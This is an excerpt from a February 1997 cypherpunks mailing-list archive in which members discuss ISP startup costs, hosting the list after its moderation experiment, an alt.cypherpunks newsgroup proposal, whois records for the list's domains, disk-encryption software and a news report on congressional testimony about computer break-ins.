Bridge [optional, depends on Bridge] Registration of domain name [optional, suggested] Linux (WinNT if clueless) For a full-time commercial feed in Austin, Tx. your talking about: Startup: $600 Machine $100 VGA Monitor $100 Computer accessories $400 28.8 Modems ($200 x2) $150 ISDN install $1k ISDN Bridge $500 ISP setup & init (this is commercial, not hobby) $100 Initial name registry $300 UPS $3,250 Monthlies: $50 Phones ($25 x2) $25 Utilities $75 ISDN $400 ISP connection $550 Note: * This machine can't be your personal workstation. It will be entirely too busy. * Learn shell, c, Pearl to start. * O'Reilly makes very useful books. * Such a machine will handle from between 100 to 500 accounts depending on how you set up your system. * If you have the money, put it in the bandwidth first. * I would very strongly suggest against using your employers resources for such activities. * You will want at least one dedicated dial-in, no matter what. This is a good place for distinctive ring and a line splitter. Consider this when buying the modem, it will raise the price of the modem. Also consider the personal 800 numbers that are available. * Consider strongly the use of an encrypted file system. While they make automated re-boots impossible their security can be quite appealing. (This is an issue that somebody who is already designing encrypted file systems should look into, how to allow automated reboots w/o manual entry of the key(s).) * Anonymous remailer extensions would not be a major resource hog. * If you are going to consider allowing general access by your users via dial-in use 10 - 15 users per line per day, assuming no enforced quota. Hope this helps anyone who might be interested in starting up such a beast. Jim Choate CyberTects ravage at ssz.com When I was a kid, I lived in Pasadena, Tx. just down the street from the Washburn Tunnel. There was a big sign going from Pasadena to the Houston side that said "The grass is greener in Pasadena". This sentiment is the true liberator of the human spirit. Keeping up with the Joneses is burned into our genes. From moroni at scranton.com Tue Feb 11 18:56:18 1997 From: moroni at scranton.com (Moroni) Date: Tue, 11 Feb 1997 18:56:18 -0800 (PST) Subject: NSA Rainbow Series. Message-ID: <199702120256.SAA04850@toad.com> 1-800-688-6115 press 0 or just wait for the operator. My second order consisting of posters and video has not arrived either. It has been about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when you order the Rainbow series you will be getting a large box.Their are something like 30+ booklets in the series. There is a set of security posters that include a Santa poster.And there is also a video with two films on it (Acess Ins and outs adb Acess Control). Good luck on your mission Mr. Phelps, moroni On Thu, 30 Jan 1997, Genocide wrote: > Date: Thu, 30 Jan 1997 12:42:08 -0800 (PST) > From: Genocide > To: Cypherpunks Mailing List > Subject: NSA Rainbow Series. > > > A while back someone posted the 1-800 number for the NSA to call > in and get the Rainbow series delivered.... well, I called and put in an > order and it never came, I need to call them again... I don't have the > phone numbere number anymore...does anyone have it? Can someone > email me the number again? > > Genocide > Head of the Genocide2600 Group > > > ============================================================================ > **Coming soon! www.Genocide2600.com! > ____________________ > *---===| |===---* > *---===| Genocide |===---* "You can be a king or a street > *---===| 2600 |===---* sweeper, but everyone dances with the > *---===|__________________|===---* Grim Reaper." > > Email: gen2600 at aracnet.com Web: http://www.aracnet.com/~gen2600 > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > It is by caffeine alone that I set my mind in motion. > It is by the Mountain Dew that the thoughts acquire speed, > the lips acquire stains, the stains become a warning. > It is by caffeine alone that I set my mind in motion. > ================================================================================ > > > xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx x No success can compensate for failure in the home. x x x xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx From ichudov at algebra.com Tue Feb 11 18:56:43 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 11 Feb 1997 18:56:43 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702120256.SAA04862@toad.com> John Gilmore wrote: > A pentium is definitely up to this task. I've been running it the > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and > general computing). Give it a big /var/spool partition (mine is 60MB) > because every message will sit in the queue for days (*somebody* on > the list will have an unreachable name server or MX server until the > msg times out). Give it lots of RAM and paging space, since each > sendmail process takes about 2MB virtual, 1.4MB physical, and you will > have dozens running at the same time. > > The new version of majordomo (that allows confirmation of > subscriptions) will help a lot. It needs a small patch though, to do > exponential backoff on the lock file, or when you get a flood of > messages, thirty majordomo processes will burn up the whole machine > trying and failing to get the lock file. > > You'll need a BIG mailbox for the bounce messages, and someone (or > some unwritten software) to scan it every day or two and delete the > lusers whose mailboxes are full or who dumped their account without > unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of > email a day; more when the list is under attack. > > You'll want to run the latest version of BIND on the machine, too, > since doing DNS name-lookups on a thousand email addresses is expensive. > You want them all in the in-memory cache on the same machine. The > name daemon burns about 7MB virtual, 5MB real RAM once its cache > gets loaded. > > Make sure that every message sent to the list gets into at least > two logfiles -- on separate partitions, in case one fills up. At > least if you want to have an archive of what's been sent. > > > I can provide a pentium box running Linux with a T1 connection to > > MAE-West to host the list, if there is still interest. > > Make sure you are getting "transit" service to the Internet, instead > of trying to cheap out with "peering" to a few major networks. > Without transit service ("we'll carry your packets to anywhere even if > the destination is not on our network") you won't be able to route > packets to some places on the net. This will cause mail to those > subscribers to sit in the queue for days and then bounce. > > The real issue is how willing you are to put your own time into > dealing with problems. Not only do things go wrong by themselves, but > there are malicious assholes in the world who will deliberately make > trouble for you just because they like to. Spending a day or two > cleaning up the mess is just part of the job. Check your level of > committment two or three times before taking on the task -- so you > won't end up getting disgusted after a month or two and putting the > list's existence into crisis again. It's not a "set it up and forget > it" kind of operation. Listen to it, John is absolutely right. Running a big mailing list is an incredible commitment and it is important to realize what you are getting into. Another suggestion may be to set sendmail expire option to one day instead of five so that messages that cannot be delivered would bounce faster and not clog the queue. - Igor. From shamrock at netcom.com Tue Feb 11 19:00:34 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 11 Feb 1997 19:00:34 -0800 (PST) Subject: STE_pup Message-ID: <199702120300.TAA04924@toad.com> At 11:39 AM 2/11/97 -0500, John Young wrote: > Oracle's new fingerprint checking device to assure bona fide > log-on privileges. Covers other such devices, quotes a maker: > "if criminals or hackers get through these, industry will > step up one more level." Fingerprint readers tend to work regardless if the finger is attached to a body or not. All that fingerprint readers will do is increase the damage to those relying on ever increasing, but misguided, methods of authentication. See the rise in "identity theft" since SSN's began to be used for identification. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From ravage at einstein.ssz.com Tue Feb 11 19:03:16 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 19:03:16 -0800 (PST) Subject: http:--cnnfn.com-digitaljam-wires-9702-11-hackers_wg- Message-ID: <199702120309.VAA09144@einstein> Click here to download the shareware YOU want at ZDNet [INLINE] Digital Jam hackers graphic Hackers victimize firms Experts tell House panel breaking into networks is too simple February 11, 1997: 6:17 p.m. ET [INLINE] Hackers and Feds in Vegas - July 31, 1996 Internet firms make hacking pay - April 12, 1996 WASHINGTON (Reuter) -- Hackers are finding it easier to break into computer networks and steal money, partly because companies are reluctant to admit that they are vulnerable, security experts said Tuesday. [INLINE] "If I want to steal money a computer is a much better tool than a handgun," Daniel Geer, engineering director for Open Market, Inc., told a House of Representatives technology subcommittee hearing on computer security. "They start out stealing $1,000 a day and figure they can get away with $2,000 a day and then they get greedy and hit some figure which sets off alarm bells." [INLINE] A panel of experts assembled by the subcommittee said many companies refuse to report breaches in their security because they want to avoid negative publicity and embarrassment. [INLINE] "Most computer crimes are not reported," Eugene Spafford of Purdue University told the panel. He estimated losses run into "hundreds of millions of dollars" but said no one really knows since so much goes unreported. [INLINE] Daniel Farmer, a security consultant, said penetrating a computer system is relatively easy. "Just using simple tests, I could break into two-thirds of the systems I tried," he said, adding that he could easily raise that figure to three-quarters if he wanted. [INLINE] Farmer said that during his tests he even discovered a problem with the White House World Wide Web site and told the system manager about it. He said he never received a reply. [INLINE] "Defensive programs have been overtaken by offensive programs" developed by hackers, he said. [INLINE] Spafford said law enforcement has kept pace with advances made by hackers who are able essentially to take over entire networks and run them by remote control. [INLINE] In addition to banks and corporations, the experts said, government secrets can be stolen and used to threaten national security. They cited recent computer network tampering at the Justice Department and the CIA. [INLINE] A General Accounting Office study recently found that there were 250,000 "hits" aimed at the Defense Department's computer networks last year and 65 percent were successful. Link to top home | digitaljam | contents | search | stock quotes | help Copyright 1997 Reuters. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Copyright © 1997 Cable News Network, Inc. ALL RIGHTS RESERVED. From lharrison at mhv.net Tue Feb 11 19:08:28 1997 From: lharrison at mhv.net (Lynne L. Harrison) Date: Tue, 11 Feb 1997 19:08:28 -0800 (PST) Subject: Computer break-ins Message-ID: <9702120308.AA02571@super.mhv.net> -----BEGIN PGP SIGNED MESSAGE----- Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable To: cypherpunks at toad.com Date: Tue Feb 11 22:14:30 1997 U.S. Experts: Computer Break-Ins Go Unreported U.S. Experts: Computer Break-Ins Go Unreported February 11, 1997, 4:19 PM EST WASHINGTON (Reuter) - Security experts said on Tuesday hackers are finding it easier to break into computer networks and steal money, partly because companies are reluctant to admit that they are vulnerable. ``If I want to steal money a computer is a much better tool than a handgun,'' Daniel Geer, Director of Engineering for Open Market, Inc., told a House of Representatives technology subcommittee hearing on computer security. ``The only way they get caught is if they cross some threshold,'' he said. ``They start out stealing $1,000 a day and figure they can get away with $2,000 a day and then they get greedy and hit some figure which sets off alarm bells.'' A panel of experts assembled by the subcommittee said many companies refuse to report breaches in their security because of they want to avoid negative publicity and embarassment. ``Most computer crimes are not reported,'' Eugene Spafford of Purdue University told the panel. He estimated losses run into ``hundreds of millions of dollars'' but said no one really knows since so much goes unreported. Daniel Farmer, a security consultant, said penetrating a computer system was relatively easy. ``Just using simple tests, I could break into two-thirds of the systems I tried,'' he said, adding that he could easily raise that figure to three-quarters if he wanted. Farmer said that during his tests he even discovered a problem with the White House World Wide Web site and told the system manager about it, but never received a reply. ``Defensive programs have been overtaken by offensive programs'' developed by hackers, he said. Spafford said law enforcement had not been able to keep up with advances made by hackers who are able essentially to take over entire networks and run them by remote control. In addition to banks and corporations, the experts said, government secrets can be stolen and threaten national security. They cited recent computer network tampering at the Justice Department and the CIA. A General Accounting Office study found that there were 250,000 ``hits'' aimed at the Defense Department's computer networks last year and 65 percent were successful. =A9 Reuters Ltd. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwE1lz5A4+Z4Wnt9AQHlrAQAi4X7MTb8CbWTaQZfdLIfwzkMkzT1g/gi QPcdaPedbgG6tU8SBS5trqyXu5JvwaVomEUpW+qrKT0JzD8a1Lyf23dgK5qLM+/+ fDWz08KaxsW3uymTRNBZo2gl/ZwpdU7DeQoReOkAqQyBXPWeoBRwYbyGu1pDlHBB yK3hRY2MrEk= =Ht0R -----END PGP SIGNATURE----- From jya at pipeline.com Tue Feb 11 19:14:53 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 19:14:53 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <199702120314.TAA05264@toad.com> cypherpunks (REMAILER-DOM) 1819 Woolsey St. Berkeley, CA 94703 Domain Name: REMAILER.NET Administrative Contact: Hughes, Eric (EH9) eric at SAC.NET (415) 392-0526 Technical Contact, Zone Contact: Levy, Elias M. (EML2) aleph1 at DFW.NET 619-794-8383 (FAX) (619) 794-8373 Billing Contact: Hughes, Eric (EH9) eric at SAC.NET (415) 392-0526 Record last updated on 17-Oct-96. Record created on 09-Nov-94. Domain servers in listed order: FLYING.FISH.COM 140.174.97.13 NS1.SAC.NET 208.146.161.2 ---------- CypherPunks (CYPHERPUNKS-DOM) 9705 Standford Road Ft. Meade, MD 20755 Domain Name: CYPHERPUNKS.COM Administrative Contact, Technical Contact, Zone Contact: Levy, Elias M. (EML2) aleph1 at DFW.NET 619-794-8383 (FAX) (619) 794-8373 Record last updated on 14-Sep-95. Record created on 14-Sep-95. Domain servers in listed order: NS1.CYBERWORKS.NET 206.170.116.21 NS2.PARANOIA.COM 207.239.130.25 WKP.COM 205.199.64.11 ---------- CypherPunks Group (CYPHERPUNKS3-DOM) 9705 Standford Road Ft. Meade, MD 20755 Domain Name: CYPHERPUNKS.ORG Administrative Contact, Technical Contact, Zone Contact: Levy, Elias M. (EML2) aleph1 at DFW.NET 619-794-8383 (FAX) (619) 794-8373 Record last updated on 03-Oct-95. Record created on 03-Oct-95. Domain servers in listed order: NS1.CYBERWORKS.NET 206.170.116.21 NS2.PARANOIA.COM 207.239.130.25 WKP.COM 205.199.64.11 ---------- Cypherpunks (ANONYMOUS-DOM) PO Box 170608 San Francisco, CA 94117-0608 Domain Name: ANONYMOUS.NET Administrative Contact, Technical Contact, Zone Contact: Gilmore, John (JG150) gnu at TOAD.COM +1 415 221 6524 (FAX) +1 415 221 7251 Record last updated on 24-Jun-93. Record created on 24-Jun-93. Domain servers in listed order: CYGNUS.COM 205.180.230.20 RTL.CYGNUS.COM 205.180.230.21 ---------- From roach_s at alph.swosu.edu Tue Feb 11 19:14:58 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 11 Feb 1997 19:14:58 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702120314.TAA05270@toad.com> At 10:45 AM 2/11/97 -0600, Firebeard wrote: >>>>>> John Gilmore writes: > >JG> Sandy has agreed to continue moderation through the end of the >JG> original 1-month experiment (through Feb 19). And it's a good >JG> thing, too, because the "cypherpunks community" had better get off >JG> its whining butt in the next ten days, or it will no longer exist. > >[...] > >JG> This is a "put up or shut up" to the cypherpunks community. > > This appears to be as good a time as any to announce that I'm >"putting up". I've already taken steps, along with Jim Choate, to >start a network of majordomos hosting a Cypherpunks mailing list. I >didn't intend to announce this until Jim and I had gotten the first >pair of 'domos working properly, but this means that we'll need to >speed things up. Our intention is to have a set of majordomos which >are intersubscribed to a cypherpunks list on each one, with measures >taken to ensure that mail loops don't develop. As the resulting >mailing list from each 'domo will be identical, periodically >(initially weekly), the subscriber lists of all of the participating >majordomos will be compared, with any duplicate subscribers being >removed from the 'domo(s) with the longest subscriber list.... You might want to set up a temporary majordomo on the same machine as one of the permanent daemons for debugging purposes. It is conceivable to me that a message might be sent to one sub-list, be forewarded to two lists, and then each of those foreward the same message to each other, causing duplication. You might get around this if the daemons keep track of each others, unique, message ID numbers. In other words, if each unit were to apend the message ID with a personal ID number when the message came from someone other than a majordomo, then they could collate them by number, eliminate duplications, and send them on down the line. To do this, the majordomo daemons will probably have to have a guaranteed seat in the front of the cue. This is probably a stupid point to bring up as you have probably already cured this problem, but I decided to post it anyway. From snow at smoke.suba.com Tue Feb 11 19:21:08 1997 From: snow at smoke.suba.com (snow) Date: Tue, 11 Feb 1997 19:21:08 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702120321.TAA05381@toad.com> > (Please leave my name in any replies to ensure I see your comments.) > I talked to Hugh Daniel at the Saturday meeting about the creation of an > "alt.cypherpunks" unmoderated (of course) newsgroup as a possible > alternative (or supplement) to cypherpunks at toad.com. Greg Broiles and John > Gilmore were there for part of the discussion, too. Might "we" get wider propigation with something like "talk.issues.crypto" or "talk.cypherpunks"? > Charter for alt.cypherpunks: (suggested) > "Alt.cypherpunks is for the unmoderated discussion of cryptography and the > political, social, and economic implications of unrestricted, strong > readers are strongly advised to learn how to use filters and other tools > for making virtual anarchies manageable for their own tastes." Maybe a pointer to these tools? > * Disadvantages -Mailing lists easily penetrate firewalls, while many places don't provide Usenet access. Another possibility would be to create a "private Usenet" setting up NNTP servers that _only_ talk to each other. This would eventually allow for the same sort of redundancy that the "regular" usenet offers, provide some of the same efficient use of resources, and ease of use (almost) but provide some protection against spammers & etc. For those who don't understand, this is how it would work (and correct me if I am wrong): Usenet works by servers exchanging messages with one or more other servers it is decentralized and has no central authority (execpt the cabal --there is no cabal) inherent in the process. These servers are told _who_ they get their feed from/to, so it should be possible to set up another network of Usenet servers just to serve our purposes. As part of setting up the servers, they can be configured as to who they From owner-cypherpunks Wed Feb 12 08:00:24 1997 Return-Path: owner-cypherpunks Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id IAA22396; Wed, 12 Feb 1997 08:00:24 -0800 (PST) Message-Id: <199702121600.IAA22396 at toad.com> Date: Wed, 12 Feb 1997 06:56:59 -0800 From: Lucky Green To: John Young Cc: cypherpunks at toad.com Subject: Re: whois cypherpunks.org ? Sender: owner-cypherpunks at toad.com Precedence: bulk At 08:04 PM 2/11/97 -0500, John Young wrote: [Trying whois] Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the moderator of the famous bugtraq mailing list. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From jer+ at andrew.cmu.edu Tue Feb 11 19:21:10 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 11 Feb 1997 19:21:10 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702120321.TAA05383@toad.com> -----BEGIN PGP SIGNED MESSAGE----- das at razor.engr.sgi.com (Anil Das) writes: > On Feb 11, 2:42pm, Alan Bostick wrote: > > new alt.* newsgroups are better > > received if they don't have top-level names. Using existing top-level > > hierarchies is better (e.g. alt.security.cypherpunks or > > alt.privacy.cypherpunks). > > I agree that alt.privacy.cypherpunks is the best bet, if alt.group > is the route we go. This has a number of frige benifits, too. It's lower down in the alphabetical list, so luser AOL-type people and auto-spam bots are less likely to reach alt.p* or alt.s* than alt.c*. Also, it seperates it from alt.cyberpunk and associated groups, thus maybe minimizing innappropriate x-posts. The hybrid mailing list/newsgroup system seems to me to be an excellent setup. It is resilliant to the moderation woes that a mailing list is vulernable to, and is also resistant to ISPs who don't carry alt groups. It also provides a set of mail-news gateways for people who wish to post anonymously to the newsgroup, whaile at the same time being resistant to commercial spam abuse (why use a mail-news to spam if it just goes to 1 newsgroup?). Finally, a newsgroup makes it easy to spread the gospel to the unwashed masses. Tim May's rants/essays would probably make excellent usenet memes, and having more usenet people crypto-aware can only help advance the causes of liberty and privacy. I hereby volunteer to do my best to handle all the newbie questions. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwEULskz/YzIV3P5AQGgNQMAgPaMmS7Wcb4kT6Mc9ak3dLZ9GjdvZmtU ZDdkLhnnJ+3IFD1RWzo7gahEXDrJtFQ3QfWhcjC/0V9EMYWBr/ITa2esNXPiuCWW KyWYblVSCeYGdrzd0MK8MJXIjX5hWZ/A =emtl -----END PGP SIGNATURE----- From gnu at toad.com Tue Feb 11 19:25:59 1997 From: gnu at toad.com (John Gilmore) Date: Tue, 11 Feb 1997 19:25:59 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702120325.TAA05448@toad.com> > - Is a pentium up to the task of running a list of this size and > volume? A pentium is definitely up to this task. I've been running it the whole time on a slower 40MB SPARCstation-2 (that also runs netnews and general computing). Give it a big /var/spool partition (mine is 60MB) because every message will sit in the queue for days (*somebody* on the list will have an unreachable name server or MX server until the msg times out). Give it lots of RAM and paging space, since each sendmail process takes about 2MB virtual, 1.4MB physical, and you will have dozens running at the same time. The new version of majordomo (that allows confirmation of subscriptions) will help a lot. It needs a small patch though, to do exponential backoff on the lock file, or when you get a flood of messages, thirty majordomo processes will burn up the whole machine trying and failing to get the lock file. You'll need a BIG mailbox for the bounce messages, and someone (or some unwritten software) to scan it every day or two and delete the lusers whose mailboxes are full or who dumped their account without unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of email a day; more when the list is under attack. You'll want to run the latest version of BIND on the machine, too, since doing DNS name-lookups on a thousand email addresses is expensive. You want them all in the in-memory cache on the same machine. The name daemon burns about 7MB virtual, 5MB real RAM once its cache gets loaded. Make sure that every message sent to the list gets into at least two logfiles -- on separate partitions, in case one fills up. At least if you want to have an archive of what's been sent. > I can provide a pentium box running Linux with a T1 connection to > MAE-West to host the list, if there is still interest. Make sure you are getting "transit" service to the Internet, instead of trying to cheap out with "peering" to a few major networks. Without transit service ("we'll carry your packets to anywhere even if the destination is not on our network") you won't be able to route packets to some places on the net. This will cause mail to those subscribers to sit in the queue for days and then bounce. The real issue is how willing you are to put your own time into dealing with problems. Not only do things go wrong by themselves, but there are malicious assholes in the world who will deliberately make trouble for you just because they like to. Spending a day or two cleaning up the mess is just part of the job. Check your level of committment two or three times before taking on the task -- so you won't end up getting disgusted after a month or two and putting the list's existence into crisis again. It's not a "set it up and forget it" kind of operation. John From ravage at ssz.com Tue Feb 11 19:56:52 1997 From: ravage at ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 19:56:52 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702120357.VAA09228@einstein> Forwarded message: > Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST) > From: ichudov at algebra.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > John Gilmore wrote: > > A pentium is definitely up to this task. I've been running it the > > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and > > general computing). Give it a big /var/spool partition (mine is 60MB) > > because every message will sit in the queue for days (*somebody* on > > the list will have an unreachable name server or MX server until the > > msg times out). Give it lots of RAM and paging space, since each > > sendmail process takes about 2MB virtual, 1.4MB physical, and you will > > have dozens running at the same time. My approach to this problem has been to use a 1G drive and mount the entire file system on it. Swap and MS-Dos each get their own partitions. This allows the use of the entire drive as a buffer. I am in the process of adding another 1G in approx. two weeks with the intent of moving /home off the main drive. This not only gives the system more space but the users as well. I set swap to 4x main ram. I use Linux and have it as one giant partition even though suggested is blocks of 16M, works for me (YMMV). Would be minor to monitor df and alarm when it gets to 200M or something. I must admit however that I am looking at a faster mbrd. and a bigger hard drive in the immediate future to make up for the extra load I expect. Had not really planned on the remailer project however... > > You'll need a BIG mailbox for the bounce messages, and someone (or > > some unwritten software) to scan it every day or two and delete the > > lusers whose mailboxes are full or who dumped their account without > > unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of > > email a day; more when the list is under attack. How about dumping the bounces to /dev/null? I shure don't care if some bozo's (other than mine that is) mailbox goes away. > > Make sure that every message sent to the list gets into at least > > two logfiles -- on separate partitions, in case one fills up. At > > least if you want to have an archive of what's been sent. I have no intention of acting as an archive. I personaly see that as a 'subscriber' issue. Potentialy even a business if the archive were suitably databased. Of course with the distributed model any member is potentialy capable of this. > > > I can provide a pentium box running Linux with a T1 connection to > > > MAE-West to host the list, if there is still interest. I would certainly be interested in your involvment with the Distributed Remailer. > > The real issue is how willing you are to put your own time into > > dealing with problems. Not only do things go wrong by themselves, but > > there are malicious assholes in the world who will deliberately make > > trouble for you just because they like to. Spending a day or two > > cleaning up the mess is just part of the job. Check your level of > > committment two or three times before taking on the task -- so you > > won't end up getting disgusted after a month or two and putting the > > list's existence into crisis again. It's not a "set it up and forget > > it" kind of operation. I can verify this. If I was not already having to deal with these problem as a current mailing list operator I certainly would not take on the job. It is one of the reasons I STRONGLY suggest anyone serious about this should use the resources to make money as well. Anyone capable of setting up and operating such a remailer system is at least capable of basic skills. > Another suggestion may be to set sendmail expire option to one day > instead of five so that messages that cannot be delivered would bounce > faster and not clog the queue. I like this idea very much. Myself I would set it for like 4 hours or so and if it couldn't be delivered then bye bye. Another motivation for selective sites to operate as archives without themselves being remailers. Another issue related to this is at what point to unsubscribe accounts. It seems to me that if the address times out some number of times it should be deleted. Is anyone interested in acting as a mail-to-news gateway? Jim Choate CyberTects ravage at ssz.com From ichudov at algebra.com Tue Feb 11 20:16:46 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 11 Feb 1997 20:16:46 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702120416.UAA06040@toad.com> Patrick May wrote: > Before doing this, I'd need the answers to a few questions: > > - Is there still any interest in a cypherpunks mailing list? yes > - Is alt.cypherpunks a better alternative? it is not an alternative, it is a complement. i think that alt.cypherpunks will be a failure because all of the troubles of alt.* hierarchy. > - Majordomo can be configured to require confirmation of > subscription requests, thus avoiding some attacks. Is there > any simple way to protect against mailloops? Directly > accessing the listname-outgoing alias? Add X-Loop: header and use procmail to protect against messages FROM_DAEMON and FROM_MAILER. > - Is a pentium up to the task of running a list of this size and > volume? yes, it is the other stuff that's the problem -- memory, connection speed, etc. - Igor. From harka at nycmetro.com Tue Feb 11 20:20:14 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Tue, 11 Feb 1997 20:20:14 -0800 (PST) Subject: Win '95 disk crypto... Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Forwarded message: In> Subject: SOFT> Encrypted disks for Windows NT In> From: softwinter at post1.com In> Date: Mon, 10 Feb 1997 03:13:22 +0200 (IST) In> Soft Winter Corporation, February 10, 1997 released: In> Shade - strong encryption software for Windows NT. In> Shade allows you to create encrypted disk device inside a file. In> Such a device can then be formatted using any file system In> (like NTFS or FAT) and used as a regular disk. The only difference In> is that Shade will encrypt the data on every write operation In> and decrypt it on every read operation. In> To download go to: http://softwinter.bitbucket.co.il In> Soft Winter Corporation, In> softwinter at post1.com Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv/y1TltEBIEF0MBAQHJGAf8Cyqr97JIRraQNIS+ioHQiT5KDEozoI5w i7C1pEtMk39WX/dmmcECR561KS3/8595a4mf7bebJ9iS8Bl6ZewSHE6F/oo0biWn rLfmCVIAy23ADoww/rwLXhWxntybjQAr2kObbrPhtf8Um8KlmnJ24QTEWWbhugwx UgC+7N4gRAuxv4Qxoshey1oNeASx7cOQ3Q2REj3wsRq1WPFQMkB43lI5YcMQzlYX KgAoCRRLpnRIOpH5gq6qdC8QNs1cy3gZmfoFML/oqBhn0YaxiAs0Hz7LmlSpufgH +7APc4UpVvadRTTi65APbv1BAJQYq+dGo1fhp7Y+rgFYcEeCh4ZC8Q== =0p9D -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From harka at nycmetro.com Tue Feb 11 20:29:47 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Tue, 11 Feb 1997 20:29:47 -0800 (PST) Subject: List! No Way: Creati Message-ID: -----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:attila at primenet.com to Harka <=- In> I vote we just set up a new majordomo with some additional In> antispam filters including knocking out exploding mail headers, In> etc. I would accept excluding non-members as long as we take the In> remailers which are listed with either JP or RL. Were it possible to use Perry's PGPDomo, which would effectively keep out at least the Spammers? Perry? :) Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv/y/zltEBIEF0MBAQEnBQf/UVcg/iFUtR3hMk2zrNwZmweqE4XA3cLy ixfNNGoKO6cP0oUnSrqRoWW4LtMrHamMldBMXmFARmkh3joqgFZpzXSwCbiCSFtv yN7tDOmfzvDfI4gRpohuc7ou3rMMlbjs/lZamJAV5iByE8Kh3/phcvOmb5u9zjWK m/bcLsje39fLpIeMHL3y0jYf4Z5wyvb4dndBVeF+m50IguT9hVd3KZ4hza2XiKQr zPkX1Y2uDW1vq9/m2Wd9PLxnio5hrbOuLHdVFzTUxcVBfnJjMB0rrexW3z/2KqJ8 4V0r3xZXqui5z6k55PQTrVZt9Hqb+zVDoDAAA/tzMfHpVU+MOnM3Xg== =Jtwu -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From bogus@does.not.exist.com Tue Feb 11 20:46:55 1997 From: bogus@does.not.exist.com () Date: Tue, 11 Feb 1997 20:46:55 -0800 (PST) Subject: Remove Message-ID: <199702120446.UAA06473@toad.com> Please remove our e-mail address from your services we received three viruses from erractic re-mail. Thank You Allen Woffard From dthorn at gte.net Tue Feb 11 20:47:46 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 20:47:46 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: <3301491B.7621@gte.net> Timothy C. May wrote: > At 7:11 PM +0000 2/11/97, Attila T. Hun wrote: > > two points you make: > > 1. the propogation is slow... > > 2. some sites do not carry alt. groups > > are enough to kill an active discussion list. of course, it does > > slow down excessive volume. Good if all this is worked out in advance. I'd like to add a couple thoughts: The freedom from temptation to interfere (censor, etc.) outweighs the slowness. The nature of the list (crypto) creates more paranoia than most other lists, making the above even more important, with the advantage being that there *should* be less noise than other forums due to the technical nature of the discussion. Thanks to the last couple of months, c-punks has now provided nearly every example of what to look out for and plan for. From joburger at mail.evansville.net Tue Feb 11 21:16:13 1997 From: joburger at mail.evansville.net (joburger at mail.evansville.net) Date: Tue, 11 Feb 1997 